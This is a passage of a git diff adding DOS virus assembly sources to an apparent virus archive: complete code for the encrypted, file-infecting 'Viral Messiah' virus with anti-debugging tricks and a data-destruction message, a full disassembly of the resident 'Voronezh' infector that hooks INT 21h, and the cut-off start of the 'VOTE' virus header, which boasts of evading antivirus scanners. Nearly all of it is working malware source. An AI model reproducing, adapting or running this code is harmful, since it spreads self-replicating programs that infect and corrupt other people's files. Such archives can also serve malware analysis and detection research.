; Are we changing the foreground? + jnb background ; If not, check the background + and ah,0F0h ; Strip off old foreground + or ah,al ; Put the new one on + jmp short next ; Resume looping + +background: cmp al,24 ; Are we changing the background? + je next_line ; If AL = 24, go to next line + jnb flash_bit_toggle ; If AL > 24 set the flash bit + sub al,16 ; Change AL to a color number + add al,al ; Crude way of shifting left + add al,al ; four bits without changing + add al,al ; CL or wasting space. Ok, + add al,al ; I guess. + and al,08Fh ; Strip off old background + or ah,al ; Put the new one on + jmp short next ; Resume looping + +next_line: add dx,160 ; Skip a whole line (80 chars. + mov di,dx ; AND 80 attribs.) + jmp short next ; Resume looping + +flash_bit_toggle: cmp al,27 ; Is it a blink toggle? + jb multi_output ; If AL < 27, it's a blinker + jne next ; Otherwise resume looping + xor ah,128 ; Toggle the flash bit + jmp short next ; Resume looping + +multi_output: cmp al,25 ; Set Zero flag if multi-space + mov bx,cx ; Save main counter + lodsb ; Get number of repititions + mov cl,al ; Put it in CL + mov al,' ' ; AL holds a space + jz start_output ; If displaying spaces, jump + lodsb ; Otherwise get character to use + dec bx ; Adjust main counter + +start_output: xor ch,ch ; Clear CH + inc cx ; Add one to count + rep stosw ; Display the character + mov cx,bx ; Restore main counter + dec cx ; Adjust main counter + loopnz loopa ; Resume looping if not done + +uncrunch_done: pop es ; Restore ES + pop di ; Restore DI + + + mov ax,04C00h ; DOS terminate function + int 021h + + + diff --git a/v/VMESSIAH.ASM b/v/VMESSIAH.ASM new file mode 100755 index 0000000..a33c83a --- /dev/null +++ b/v/VMESSIAH.ASM @@ -0,0 +1,340 @@ +; VMESSIAH.ASM -- Viral Messiah Virus +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by Nowhere Man + +virus_type equ 1 ; Overwriting Virus +is_encrypted equ 1 ; We're encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +start label near + +main proc near +flag: xchg dh,dh + xchg bp,ax + xchg bp,ax + + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + +stop_tracing: mov cx,09EBh + mov ax,0FE05h ; Acutal move, plus a HaLT + jmp $-2 + add ah,03Bh ; AH now equals 025h + jmp $-10 ; Execute the HaLT + mov bx,offset null_vector ; BX points to new routine + push cs ; Transfer CS into ES + pop es ; using a PUSH/POP + int 021h + mov al,1 ; Disable interrupt 1, too + int 021h + jmp short skip_null ; Hop over the loop +null_vector: jmp $ ; An infinite loop +skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged +lock_keys: mov al,128 ; Change here screws DEBUG + out 021h,al ; If tracing then lock keyboard + + mov cx,0005h ; Do 5 infections +search_loop: push cx ; Save CX + call search_files ; Find and infect a file + pop cx ; Restore CX + loop search_loop ; Repeat until CX is 0 + + jmp short strt00 ; Success -- skip jump +skip00: jmp end00 ; Skip the routine +strt00: mov si,offset data00 ; SI points to data + mov ah,0Eh ; BIOS display char. function +display_loop: lodsb ; Load the next char. into AL + or al,al ; Is the character a null? + je disp_strnend ; If it is, exit + int 010h ; BIOS video interrupt + jmp short display_loop ; Do the next character +disp_strnend: + + mov si,offset data00 ; SI points to data + xor dx,dx ; Clear DX +print_loop: lodsb ; Load the next char. into AL + xor ah,ah ; BIOS print char. function + or al,al ; Is the character a null? + je print_done ; If it is, exit + int 017h ; BIOS video interrupt + jmp short print_loop ; Do the next character +print_done: + +end00: mov ax,04C00h ; DOS terminate function + int 021h +main endp + + + db 08Dh,04Eh,054h,059h,0E0h + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,135 ; Allocate 135 bytes on stack + + mov byte ptr [bp - 135],'\' ; Start with a backslash + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 134] ; SI points to 64-byte buffer + int 021h + + call traverse_path ; Start the traversal + +traversal_loop: cmp word ptr [path_ad],0 ; Was the search unsuccessful? + je done_searching ; If so then we're done + call found_subdir ; Otherwise copy the subdirectory + + mov ax,cs ; AX holds the code segment + mov ds,ax ; Set the data and extra + mov es,ax ; segments to the code segment + + xor al,al ; Zero AL + stosb ; NULL-terminate the directory + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 70] ; DX points to the directory + int 021h + + mov dx,offset com_mask ; DX points to "*.COM" + call find_files ; Try to infect a .COM file + jnc done_searching ; If successful the exit + mov dx,offset exe_mask ; DX points to "*.EXE" + call find_files ; Try to infect an .EXE file + jnc done_searching ; If successful the exit + jmp short traversal_loop ; Keep checking the PATH + +done_searching: mov ah,03Bh ; DOS change directory function + lea dx,[bp - 135] ; DX points to old directory + int 021h + + cmp word ptr [path_ad],0 ; Did we run out of directories? + jne at_least_tried ; If not then exit + stc ; Set the carry flag for failure +at_least_tried: mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller +com_mask db "*.COM",0 ; Mask for all .COM files +exe_mask db "*.EXE",0 ; Mask for all .EXE files +search_files endp + +traverse_path proc near + mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment + xor di,di ; DI holds the starting offset + +find_path: mov si,offset path_string ; SI points to "PATH=" + lodsb ; Load the "P" into AL + mov cx,08000h ; Check the first 32767 bytes + repne scasb ; Search until the byte is found + mov cx,4 ; Check the next four bytes +check_next_4: lodsb ; Load the next letter of "PATH=" + scasb ; Compare it to the environment + jne find_path ; If there not equal try again + loop check_next_4 ; Otherwise keep checking + + mov word ptr [path_ad],di ; Save the PATH address for later + mov word ptr [path_ad + 2],es ; Save PATH's segment for later + ret ; Return to caller + +path_string db "PATH=" ; The PATH string to search for +path_ad dd ? ; Holds the PATH's address +traverse_path endp + +found_subdir proc near + lds si,dword ptr [path_ad] ; DS:SI points to the PATH + lea di,[bp - 70] ; DI points to the work buffer + push cs ; Transfer CS into ES for + pop es ; byte transfer +move_subdir: lodsb ; Load the next byte into AL + cmp al,';' ; Have we reached a separator? + je moved_one ; If so we're done copying + or al,al ; Are we finished with the PATH? + je moved_last_one ; If so get out of here + stosb ; Store the byte at ES:DI + jmp short move_subdir ; Keep transfering characters + +moved_last_one: xor si,si ; Zero SI to signal completion +moved_one: mov word ptr es:[path_ad],si; Store SI in the path address + ret ; Return to caller +found_subdir endp + + db 0FEh,0C9h,04Bh,0DFh,06Eh + + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + + db 07Dh,0F9h,074h,000h,09Bh + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ch],0 ; Is the file > 65535 bytes? + jne infection_done ; If it is then exit + + cmp word ptr [si + 025h],'DN' ; Might this be COMMAND.COM? + je infection_done ; If it is then skip it + + cmp word ptr [si + 01Ah],(finish - start) + jb infection_done ; If it's too small then exit + + mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,4 ; CX holds bytes to read (4) + mov dx,offset buffer ; DX points to buffer + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + push si ; Save DTA address before compare + mov si,offset buffer ; SI points to comparison buffer + mov di,offset flag ; DI points to virus flag + mov cx,4 ; CX holds number of bytes (4) + rep cmpsb ; Compare the first four bytes + pop si ; Restore DTA address + je infection_done ; If equal then exit + mov byte ptr [set_carry],1 ; Success -- the file is OK + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + push si ; Save SI through call + call encrypt_code ; Write an encrypted copy + pop si ; Restore SI + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +buffer db 4 dup (?) ; Buffer to hold test data +set_carry db ? ; Set-carry-on-exit flag +infect_file endp + + +data00 db "I am your VIRAL MESSIAH",13,10 + db "Follow me and be redeemed",13,10 + db "Your data doth exist no more",13,10 + db "The FAT holds ashes of your dreams",13,10,0 + +vcl_marker db "[VCL]",0 ; VCL creation marker + + +note db "[Viral Messiah]",0 + db "Nowhere Man, [NuKE] '92",0 + +encrypt_code proc near + mov si,offset encrypt_decrypt; SI points to cipher routine + + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 8],dx ; Low word of timer is new key + + xor byte ptr [si],1 ; + xor byte ptr [si + 7],1 ; Change all SIs to DIs + xor word ptr [si + 10],0101h; (and vice-versa) + + mov di,offset finish ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + + mov si,offset write_stuff ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + + mov ah,040h ; DOS write to file function + mov dx,offset start ; DX points to virus + + call finish ; Encrypt/write/decrypt + + ret ; Return to caller + +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp + +end_of_code label near + +encrypt_decrypt proc near + mov si,offset start_of_code ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main diff --git a/v/VORONEZH.ASM b/v/VORONEZH.ASM new file mode 100755 index 0000000..d71c857 --- /dev/null +++ b/v/VORONEZH.ASM @@ -0,0 +1,880 @@ + +PAGE 59,132 + +; +; +; VORONEZH +; +; Created: 2-Mar-91 +; Passes: 5 Analysis Options on: AJW +; +; + +data_1e equ 1C2h +data_5e equ 3 +data_6e equ 0 +data_7e equ 2 +data_46e equ 100h + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +voronezh proc far + +start: + mov ax,ds + push cs + pop ds + push ax + call sub_1 + +voronezh endp + +; +; SUBROUTINE +; + +sub_1 proc near + pop bx + sub bx,108h + push bx + mov ah,0ABh + int 21h ; ??INT Non-standard interrupt + cmp ax,5555h + jne loc_1 ; Jump if not equal + jmp loc_10 +loc_1: + mov ax,es + sub ax,1 + mov ds,ax + mov bx,data_5e + mov ax,ds:[bx] + sub ax,0EAh + mov ds:[bx],ax + push es + pop ds + mov bx,data_7e + mov ax,ds:[bx] + sub ax,0EAh + mov ds:[bx],ax + mov es,ax + mov di,data_46e + mov si,100h + pop bx + push bx + add si,bx + push cs + pop ds + mov cx,6A4h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov dx,ax + jmp short loc_9 + nop + pushf ; Push flags + sti ; Enable interrupts + cmp ah,0ABh + jne loc_2 ; Jump if not equal + mov ax,5555h + popf ; Pop flags + iret ; Interrupt return +loc_2: + cmp ax,3D00h + jne loc_5 ; Jump if not equal + push ax + push bx + push cx + push dx + push si + push di + push es + mov cx,41h + xor al,al ; Zero register + mov di,dx + push ds + pop es + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + sub di,4 + mov si,di + push si + push cs + pop es + mov cx,4 + mov di,289h + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + cmp cx,0 + jne loc_3 ; Jump if not equal + pop si + jmp short loc_4 + nop +loc_3: + mov di,28Ch + mov cx,4 + pop si + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + cmp cx,0 +loc_4: + pop es + pop di + pop si + pop dx + pop cx + pop bx + pop ax + jz loc_6 ; Jump if zero +loc_5: + push ax + inc ah + cmp ax,4C00h + pop ax + jnz loc_8 ; Jump if not zero +loc_6: + push ax + push bx + push cx + push dx + push si + push di + push es + push ds + jmp loc_16 +loc_7: + pop ds + pop es + pop di + pop si + pop dx + pop cx + pop bx + pop ax +loc_8: + popf ; Pop flags +;* jmp far ptr loc_49 + db 0EAh,0B5h, 02h, 46h,0D5h +loc_9: + mov ds,dx + mov ax,3521h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov ds:data_1e,bx + db 3Eh, 8Ch, 06h,0C4h, 01h, 3Eh + db 89h, 1Eh, 75h, 03h, 3Eh, 8Ch + db 06h, 77h, 03h, 8Dh, 16h, 53h + db 01h,0B8h, 21h, 25h,0CDh + db 21h +loc_10: + pop dx + mov bx,offset data_18 + add bx,dx + cmp byte ptr cs:[bx],0 + je loc_12 ; Jump if equal + pop ds + mov ax,ds + push cs + pop ds + mov cx,dx + pop di + pop es + push ax + sub di,5 + mov si,offset data_17 + add si,cx + mov dl,[si] + add es:[di+5],dl + cmp es:[di+5],dl + ja loc_11 ; Jump if above + dec si + inc byte ptr [si] +loc_11: + mov dx,di + mov si,offset data_16 + add si,cx + mov cx,5 + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + pop ds + push es + push dx + mov ax,ds + mov es,ax + xor ax,ax ; Zero register + xor bx,bx ; Zero register + xor cx,cx ; Zero register + xor dx,dx ; Zero register + xor si,si ; Zero register + xor di,di ; Zero register + retf ; Return far +loc_12: + mov ax,cs + mov ds,ax + mov es,ax + mov si,268h + mov cx,100h + mov bx,281h + mov di,[bx] + cmp di,0 + jne loc_13 ; Jump if not equal + int 20h ; DOS program terminate +loc_13: + mov bx,283h + mov ax,[bx] + add di,ax + add di,100h + cld ; Clear direction + push di + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + pop di + mov cx,word ptr ds:[283h] + mov ax,word ptr ds:[281h] + push di + retn + add ax,100h + mov si,ax + mov di,100h + cld ; Clear direction + +locloop_14: + mov al,[si] + xor al,0BBh + mov [di],al + inc si + inc di + loop locloop_14 ; Loop if cx > 0 + + mov ax,offset start + pop bx + push ax + retn + inc ax + push es + inc ax + push es + push si + add ax,0E2Bh + inc bp + pop ax + inc bp + db 65h, 78h, 65h, 55h, 76h, 7Fh + db 'ctsqu`Voronezh,1990 2.01' +data_16 db 90h + db 0B8h, 7Fh, 0Eh, 8Eh +data_17 db 0 +data_18 db 0 +data_19 dw 200h +data_20 dw 14Dh +data_21 db 0, 0, 0, 0, 0 +data_22 dw 0 +data_23 dw 34Dh +data_24 dw 0 +data_25 dw 5D0h +data_26 db 9Ah +data_27 dw 5D0h +data_28 dw 0 +data_29 dw 0 +data_30 dw 1Eh +data_31 dw 100h +data_32 dw 100h +data_33 db 5 +data_34 dw 20h +data_35 dw 0A956h +data_36 dw 41B9h + +loc_ret_15: + iret ; Interrupt return +loc_16: + mov bx,dx + mov ax,ds:[bx+3] + cmp ax,4F43h + jne $+5 ; Jump if not equal + jmp loc_7 +sub_1 endp + + mov di,dx + xor ax,ax ; Zero register + mov cs:data_33,0 + db 3Eh, 80h, 7Dh, 01h, 3Ah + db 75h, 09h, 3Eh, 8Ah, 05h, 24h + db 9Fh, 2Eh,0A2h,0CFh, 02h +loc_18: + mov ax,4300h + int 21h ; DOS Services ah=function 43h + ; get attrb cx, filename @ds:dx + mov cs:data_34,cx + mov cs:data_35,ds + mov cs:data_36,dx + push ds + push dx + push es + push cs + pop ds + mov ax,3524h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov word ptr ds:[285h],bx + mov word ptr ds:[287h],es + mov dx,offset loc_ret_15 + mov ax,2524h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + pop es + pop dx + pop ds + push ds + push cs + pop ds + mov bx,100h + mov cx,740h + sub cx,bx + mov bx,283h + mov [bx],cx + pop ds + mov bx,dx + push ds + push dx + push bx + push cs + pop ds + mov ah,36h ; '6' + mov dl,data_33 + int 21h ; DOS Services ah=function 36h + ; get drive info, drive dl,1=a: + ; returns ax=clust per sector + ; bx=avail clust,cx=bytes/sect + ; dx=clusters per drive + cmp ax,0FFFFh + jne loc_24 ; Jump if not equal +loc_23: + pop ax + pop ax + pop ax + call sub_3 + jmp loc_7 +loc_24: + mul bx ; dx:ax = reg * ax + mul cx ; dx:ax = reg * ax + or dx,dx ; Zero ? + jnz loc_25 ; Jump if not zero + cmp ax,word ptr ds:[283h] + jb loc_23 ; Jump if below +loc_25: + pop bx + pop dx + pop ds + mov ax,3D00h + pushf ; Push flags + cli ; Disable interrupts +;* call far ptr sub_5 + db 9Ah,0B5h, 02h, 46h,0D5h + jnc loc_26 ; Jump if carry=0 + call sub_3 + jmp loc_7 +loc_26: + push ax + mov ax,cs + mov ds,ax + mov es,ax + pop ax + push ax + mov bx,ax + mov ax,5700h + int 21h ; DOS Services ah=function 57h + ; get file date+time, bx=handle + ; returns cx=time, dx=time + pop ax + push cx + push dx + push ax + mov bx,ax + mov cx,0 + mov dx,0 + mov ah,42h ; 'B' + mov al,2 + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + mov bx,281h + mov [bx],ax + mov bx,283h + mov cx,[bx] + mov cx,0 + mov dx,0 + mov ax,4200h + pop bx + push bx + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + mov bx,283h + mov cx,[bx] + pop bx + push bx + mov dx,offset data_37 + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + mov si,offset data_37 + mov cx,[si] + cmp cx,0D88Ch + jne loc_27 ; Jump if not equal + pop bx + pop ax + pop ax + call sub_2 + jmp loc_7 +loc_27: + cmp cx,5A4Dh + je loc_28 ; Jump if equal + jmp loc_44 +loc_28: + pop bx + push bx + mov ax,4200h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + mov cx,32h + mov ax,3F00h + lea dx,data_37 ; Load effective addr + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + mov ax,data_39 + mov cx,4 + mul cx ; dx:ax = reg * ax + mov bx,data_44 + add ax,bx + mov dx,ax + mov di,dx + mov ax,data_40 + mov cx,10h + mul cx ; dx:ax = reg * ax + mov dx,di + add dx,4 + cmp ax,dx + ja loc_29 ; Jump if above + jmp loc_43 +loc_29: + mov data_19,ax + mov ax,data_39 + inc ax + mov data_39,ax + mov ax,data_42 + mov data_20,ax + mov ax,data_43 + mov word ptr data_21,ax + xor dx,dx ; Zero register + xor cx,cx ; Zero register + mov ax,4202h + pop bx + push bx + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + push ax + push dx + add ax,word ptr ds:[283h] + cmp ax,word ptr ds:[283h] + ja loc_30 ; Jump if above + inc dx +loc_30: + mov cx,200h + div cx ; ax,dx rem=dx:ax/reg + cmp dx,0 + je loc_31 ; Jump if equal + inc ax +loc_31: + mov bx,data_38 + mov cx,ax + sub cx,bx + cmp cx,5 + jb loc_32 ; Jump if below + pop ax + pop ax + jmp loc_43 +loc_32: + mov data_38,ax + pop dx + pop ax + mov bx,data_19 + cmp ax,bx + jb loc_33 ; Jump if below + sub ax,bx + jmp short loc_34 + nop +loc_33: + sub ax,bx + dec dx +loc_34: + mov data_24,dx + mov data_25,ax + mov ax,data_19 + mov bx,data_20 + mov dx,0 + add ax,bx + cmp ax,bx + ja loc_35 ; Jump if above + inc dx +loc_35: + mov si,ax + mov di,dx + mov ax,word ptr data_21 + mov cx,10h + mul cx ; dx:ax = reg * ax + add di,dx + add si,ax + cmp si,ax + ja loc_36 ; Jump if above + inc di +loc_36: + mov ax,si + mov dx,di + mov data_22,dx + mov data_23,ax + mov cx,dx + mov dx,ax + mov ax,4200h + mov data_18,1 + mov data_17,0 + pop bx + push bx + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + mov cx,5 + lea dx,data_16 ; Load effective addr + mov ax,3F00h + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + cmp data_16,9Ah + jne loc_37 ; Jump if not equal + jmp loc_43 +loc_37: + call sub_4 + mov bx,data_44 + mov ax,data_39 + dec ax + mov cx,4 + mul cx ; dx:ax = reg * ax + add bx,ax + mov cx,0 + mov dx,bx + mov ax,4200h + pop bx + push bx + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + mov dx,data_20 + add dx,3 + mov data_20,dx + lea dx,data_20 ; Load effective addr + mov cx,4 + mov ah,40h ; '@' + pop bx + push bx + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + mov dx,data_20 + sub dx,3 + mov data_20,dx + xor dx,dx ; Zero register + xor cx,cx ; Zero register + mov ax,4200h + pop bx + push bx + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + mov cx,data_44 + lea dx,data_37 ; Load effective addr + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + mov data_26,9Ah + mov ax,data_25 + mov data_27,ax + mov ax,data_24 + mov cx,1000h + mul cx ; dx:ax = reg * ax + mov data_28,ax + cmp data_27,0F000h + jb loc_38 ; Jump if below + mov ax,data_27 + mov dx,data_28 + add dx,100h + sub ax,1000h + mov data_28,dx + mov data_27,ax +loc_38: + mov cx,data_22 + mov dx,data_23 + mov ax,4200h + pop bx + push bx + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + mov cx,5 + mov ah,40h ; '@' + lea dx,data_26 ; Load effective addr + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + mov cx,0 + mov dx,0 + mov ax,4202h + pop bx + push bx + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + mov ah,40h ; '@' + mov cx,word ptr ds:[283h] + mov dx,100h + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + xor cx,cx ; Zero register + mov dx,data_44 + mov ax,4200h + pop bx + push bx + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + mov data_32,0 + mov data_29,dx + mov data_30,ax + mov ax,data_39 + mov di,0 + dec ax + cmp ax,0 + jne loc_39 ; Jump if not equal + jmp loc_43 +loc_39: + mov cx,4 + mul cx ; dx:ax = reg * ax + mov si,ax +loc_40: + mov cx,0 + mov dx,0 + mov ax,4201h + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + mov data_29,dx + mov data_30,ax + mov cx,100h + mov dx,data_6e + mov ax,3F00h + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + mov di,data_6e + mov data_31,ax + add data_32,ax +loc_41: + mov ax,[di+2] + cmp ax,word ptr data_21 + jne loc_42 ; Jump if not equal + mov ax,[di] + cmp ax,data_20 + jb loc_42 ; Jump if below + mov ax,data_20 + add ax,5 + cmp ax,[di] + jbe loc_42 ; Jump if below or = + mov ax,data_28 + mov [di+2],ax + mov ax,[di] + mov bx,data_20 + sub ax,bx + push ax + mov ax,2AAh + sub ax,100h + mov bx,data_27 + add ax,bx + pop bx + add ax,bx + mov [di],ax + mov cx,data_29 + mov dx,data_30 + mov ax,4200h + pop bx + push bx + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + mov cx,data_31 + mov ah,40h ; '@' + pop bx + push bx + mov dx,data_6e + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + jmp short loc_43 + nop +loc_42: + add di,4 + mov ax,data_32 + sub ax,100h + add ax,di + cmp ax,si + je loc_43 ; Jump if equal + cmp di,data_31 + jb loc_41 ; Jump if below + jmp loc_40 +loc_43: + jmp short loc_48 + nop +loc_44: + mov cx,word ptr ds:[281h] + cmp cx,0EE48h + jb loc_46 ; Jump if below +loc_45: + pop bx + pop ax + pop ax + call sub_2 + jmp loc_7 +loc_46: + cmp cx,word ptr ds:[283h] + jb loc_45 ; Jump if below + call sub_4 + mov data_18,0 + mov dx,0 + mov cx,0 + mov ax,4202h + pop bx + push bx + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + mov si,283h + mov cx,[si] + mov ah,40h ; '@' + push cx + mov bx,offset data_37 + +locloop_47: + mov al,[bx] + xor al,0BBh + mov [bx],al + inc bx + loop locloop_47 ; Loop if cx > 0 + + pop cx + pop bx + push bx + mov dx,offset data_37 + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + mov ax,4200h + mov dx,0 + mov cx,0 + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + mov bx,110h + mov si,283h + mov cx,[si] + mov dx,100h + mov ah,40h ; '@' + pop bx + push bx + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer +loc_48: + pop bx + pop dx + pop cx + push bx + mov ax,5701h + int 21h ; DOS Services ah=function 57h + ; set file date+time, bx=handle + ; cx=time, dx=time + mov dx,data_36 + mov ds,data_35 + mov ax,4301h + mov cx,cs:data_34 + int 21h ; DOS Services ah=function 43h + ; set attrb cx, filename @ds:dx + push cs + pop ds + pop bx + call sub_2 + jmp loc_7 + +; +; SUBROUTINE +; + +sub_2 proc near + mov ax,3E00h + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + +; External Entry into Subroutine + +sub_3: + mov bx,word ptr ds:[285h] + mov es,word ptr ds:[287h] + mov ax,2524h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + retn +sub_2 endp + + +; +; SUBROUTINE +; + +sub_4 proc near + push bp + mov bp,sp + push ds + mov ax,4301h + mov dx,data_36 + mov ds,data_35 + xor cx,cx ; Zero register + int 21h ; DOS Services ah=function 43h + ; set attrb cx, filename @ds:dx + jnc $+8 ; Jump if carry=0 + pop ds + pop bp + pop ax + jmp loc_43 +sub_4 endp + + db 36h, 8Bh, 5Eh, 04h,0B8h, 00h + db 3Eh,0CDh, 21h,0B8h, 02h, 3Dh + db 0FAh, 9Ch, 2Eh,0FFh, 1Eh,0C2h + db 01h, 1Fh, 36h, 89h, 46h, 04h + db 5Dh,0C3h +data_37 db 3 + db 0BBh,0F7h, 76h +data_38 dw 0BB9Ah +data_39 dw 0BBBBh +data_40 dw 0BBBBh + db 10 dup (0BBh) +data_42 dw 0BBBBh +data_43 dw 0BBBBh +data_44 dw 0BBBBh + db 1574 dup (0BBh) + +seg_a ends + + + + end start diff --git a/v/VOTE.ASM b/v/VOTE.ASM new file mode 100755 index 0000000..b980ea6 --- /dev/null +++ b/v/VOTE.ASM @@ -0,0 +1,319 @@ +;**************************************************************************** +;* VOTE, SHITHEAD! virus Edited by URNST KOUCH for the Crypt Newsletter 7. +;* +;* TASM/MASM compatible source listing +;* +;* VOTE, SHITHEAD is a resident, companion virus based upon Little +;* Brother code and library .asm routines extracted from Nowhere Man's VCL. +;* It is also 'patched' with three 'nops' (they are commented) which +;* effectively blind a number of a-v scanners. This simple alteration +;* demonstrates a practical benefit of source code possession: quick +;* generation of different virus strains becomes a task within anyone's +;* reach. The only tools needed are a number of virus scanners and patience. +;* +;* In any case, the VOTE virus is just the ideal sample needed for +;* judicious virus action. It is a PERFECT tool for viral spreading for +;* a number of reasons. First, it is a FAST infector. Once resident +;* VOTE will create a companion file for ANY .EXE executed on ANY drive +;* and it will do it so quickly that most users, even suspicious ones, +;* will not notice any slowdown or glitches in machine operation. +;* Second, 'companion-ed' .EXE's will continue to load and function +;* properly when VOTE is resident. At the start of the day's computing, +;* the first 'companion-ed' .EXE executed will misfire ONCE as the virus +;* becomes resident. If it is re-called it will function perfectly. +;* Third, VOTE like the INSUFF viruses in the last newsletter strikes +;* directly at anti-virus suites vulnerable to 'spawning' infections (many +;* no-names, CPAV, NAV) and creates 'hidden' companion files, an improvement +;* over the original virus's modus operandi which left them out in plane +;* sight in the directory. Last, VOTE is very small. In RAM, it is not +;* discernible, taking up slightly less that 0.25k. Characteristically, +;* this is NOT reported by a mem /c display. In fact, +;* VOTE is almost invisible to any number of standard diagnostic +;* tests. Memory maps by QEMM and Norton's SYSINFO will +;* report INT 21 hooked differently. But unless the user can compare +;* an uncontaminated INTERRUPT report with one when the virus IS present, +;* it's unlikely he'll know anything is different. Even then, VOTE is hard +;* to notice. +;* +;* On election day, November 3rd, VOTE will lock an infected machine into +;* a loop as it displays a "DID YOU VOTE, 